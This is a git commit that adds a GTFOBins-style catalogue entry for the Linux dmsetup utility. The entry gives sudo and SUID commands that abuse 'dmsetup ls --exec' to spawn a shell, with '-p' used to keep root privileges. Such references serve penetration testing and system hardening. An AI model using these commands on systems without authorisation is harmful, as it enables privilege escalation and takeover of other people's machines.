Add dmsetup (#31)

* Add dmsetup

* fixes
This commit is contained in:
egre55 2018-11-10 18:39:18 +00:00 committed by Emilio
parent 27c1c56577
commit a448ed5c25

15
_gtfobins/dmsetup.md Normal file
View File

@ -0,0 +1,15 @@
---
functions:
sudo:
- code: |
sudo dmsetup create base <<EOF
0 3534848 linear /dev/loop0 94208
EOF
sudo dmsetup ls --exec '/bin/sh -s'
suid:
- code: |
./dmsetup create base <<EOF
0 3534848 linear /dev/loop0 94208
EOF
./dmsetup ls --exec '/bin/sh -p -s'
---